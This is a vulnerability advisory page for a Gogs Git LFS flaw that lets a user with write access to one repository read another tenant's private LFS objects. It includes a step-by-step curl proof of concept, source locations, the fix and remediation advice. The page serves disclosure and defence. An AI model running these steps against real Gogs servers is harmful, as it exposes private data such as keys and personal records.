Skip to main content

Gogs CVE-2026-52812

| EUVDEUVD-2026-39083 HIGH
Insufficient Verification of Data Authenticity (CWE-345)
2026-06-23 https://github.com/gogs/gogs GHSA-6p9m-q3jp-47h4
7.1
CVSS 4.0 · Vendor: https://github.com/gogs/gogs
Share

Severity by source

Vendor (https://github.com/gogs/gogs) PRIMARY
7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.7 HIGH

Network-reachable with low complexity and only repo write access (PR:L); scope changes because a bound repo crosses into another tenant's private data, yielding high confidentiality but no integrity or availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N

Primary rating from Vendor (https://github.com/gogs/gogs).

CVSS VectorVendor: https://github.com/gogs/gogs

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

6
Analysis Updated
Jun 24, 2026 - 21:30 vuln.today
v3 (cvss_changed)
Analysis Updated
Jun 24, 2026 - 21:29 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jun 24, 2026 - 21:22 vuln.today
cvss_changed
CVSS changed
Jun 24, 2026 - 21:22 NVD
7.1 (HIGH)
Source Code Evidence Fetched
Jun 23, 2026 - 17:34 vuln.today
Analysis Generated
Jun 23, 2026 - 17:34 vuln.today

DescriptionCVE.org

Summary

Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.

Details

Dedupe shortcut at internal/lfsx/storage.go:79-82:

go
if fi, err := os.Stat(fpath); err == nil {
    _, _ = io.Copy(io.Discard, rc)
    return fi.Size(), nil          // ← returns success with no hash check
}

Hash verification at internal/lfsx/storage.go:106-108 only runs in the *new-file* branch - the dedupe path returns earlier.

serveUpload (internal/route/lfs/basic.go:78-114) trusts that success and inserts the per-repo binding:

go
_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid)   // per-repo
if err == nil { /* already linked, drain & return 200 */ }
written, err := s.Upload(oid, c.Req.Request.Body)
err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())

CreateLFSObject is an unconditional INSERT on (repo_id, oid) with no check that the OID is referenced by the requesting repo's git history.

serveDownload at internal/route/lfs/basic.go:42-72 only consults the per-repo row, then streams from the shared content-addressed file.

Suggested fix

  1. In LocalStorage.Upload, when os.Stat(fpath) == nil, hash the request body via io.TeeReader and ErrOIDMismatch on disagreement - same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content.
  2. Optional second layer: in serveUpload, refuse CreateLFSObject unless the OID is referenced by an LFS pointer in the requesting repo's refs.

PoC

Tested against gogs at HEAD d7571322 (also reproduces on v0.14.2, paths are internal/lfsutil/storage.go and identical logic).

Reproduction prerequisites

  • Running gogs ≥ 0.12.0 with [lfs] ENABLED = true.
  • Two accounts: alice (private repo secrets) and bob (any repo bob/scratch); bob has no access to alice/secrets.
  • An OID known to be present in alice/secrets - leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).

Setup (testbed simulation of the victim's prior state)

sh
GOGS=https://gogs.example
ALICE_AUTH='-u alice:alice_password'
BOB_AUTH='-u bob:bob_password'

VICTIM_BYTES='victim secret content'
OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1)
SIZE=$(printf %s "$VICTIM_BYTES" | wc -c)
# After this, file lives at <conf.LFS.ObjectsPath>/<OID[0]>/<OID[1]>/<OID>
# and (alice/secrets, OID) row exists in lfs_object.
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary @- \
  "$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"

Attack - bob has only $OID, not $VICTIM_BYTES

sh
unset VICTIM_BYTES
# attacker has no idea what the file contains
# 1. Confirm bob has no claim on $OID.
curl -sS $BOB_AUTH \
  -H 'Accept: application/vnd.git-lfs+json' \
  -H 'Content-Type: application/vnd.git-lfs+json' \
  -X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
  --data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → "actions":{"error":{"code":404,"message":"Object does not exist"}}
# 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists
#    so LocalStorage.Upload takes the dedupe shortcut: drains the body
#    without hashing, returns alice's size; CreateLFSObject inserts (bob, OID).
curl -sS $BOB_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary 'irrelevant attacker-controlled bytes' \
  "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID"
# → HTTP/1.1 200 OK
# 3. Download via bob's repo - gogs streams alice's bytes.
curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked
cat /tmp/leaked
# → victim secret content
sha256sum /tmp/leaked | cut -d' ' -f1
# → matches $OID exactly

Independent confirmation against the source

sh
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322

sed -n '63,114p' internal/lfsx/storage.go
# dedupe at 79-82, hash check at 106 only in new-file branch
sed -n '74,117p' internal/route/lfs/basic.go
# serveUpload calls CreateLFSObject regardless of dedupe path
grep -n 'primaryKey' internal/database/lfs.go
# composite (RepoID, OID) PK - multiple repos can share an OID row

Impact

  • Cross-tenant disclosure of any LFS object on the instance. Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.
  • LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers - all extracted byte-for-byte.
  • Persistent: the (bob/scratch, OID) row pins read access until manually deleted; removing bob's repo write access does not revoke prior binds. No artefact on victim's side beyond a 200 in the LFS access log.

AnalysisAI

Cross-tenant information disclosure in Gogs (self-hosted Git service) before 0.14.3 lets any user with write access to a single repository read the byte-for-byte contents of Git LFS objects belonging to private repositories they cannot otherwise access. Because LFS storage is content-addressed by OID alone while authorization is tracked per-repo, an attacker who learns a victim object's OID can bind it to their own repo via the upload endpoint - which skips hash verification on the dedupe path - and then download the original private bytes. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain target object OID via side channel
Delivery
Authenticate to own writable repo
Exploit
PUT garbage bytes to LFS basic upload endpoint
Execution
Dedupe path skips hash, inserts (repo,oid) binding
Persist
Download OID via own repo endpoint
Impact
Receive victim's private bytes verbatim

Vulnerability AssessmentAI

Exploitation Requires three concrete prerequisites: (1) Gogs running with `[lfs] ENABLED = true` (LFS is off by default in some deployments, which is a hard limiter); (2) the attacker must hold authenticated HTTP write access to at least one repository on the instance (PR:L), not anonymous access; and (3) the attacker must already know the exact 256-bit SHA-256 OID of the target object - this cannot be brute-forced and must be obtained via a side channel such as a leaked LFS pointer file in a public ancestor commit, a stale fork, or a support ticket. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H, base 7.1) is internally consistent with the description: network reachable, low complexity, and PR:L correctly reflecting that the attacker needs authenticated write access to one repository (not full anonymous access). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker (bob) with a normal account and write access to any repo on a shared Gogs instance learns the SHA-256 OID of a sensitive LFS object - say a TLS private key - stored in a private repo (alice/secrets), for example from an LFS pointer leaked in a public fork. Bob PUTs arbitrary garbage bytes to his own repo's LFS basic upload endpoint for that OID; because the content-addressed file already exists on disk, Gogs takes the dedupe shortcut, skips hashing, returns 200, and inserts a `(bob/scratch, OID)` row. …
Remediation Upgrade to Gogs 0.14.3, which is the vendor-released patch (PR https://github.com/gogs/gogs/pull/8333, commit f35a767af74e05342bafc6fdda02c791816426f8, release https://github.com/gogs/gogs/releases/tag/v0.14.3); the fix makes the dedupe path hash the request body via io.TeeReader and return ErrOIDMismatch when the bytes do not match the claimed OID, so retries must now send the correct content. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

24 hours: Verify Gogs deployment and current version; enable alerts for LFS access attempts. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-52812 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy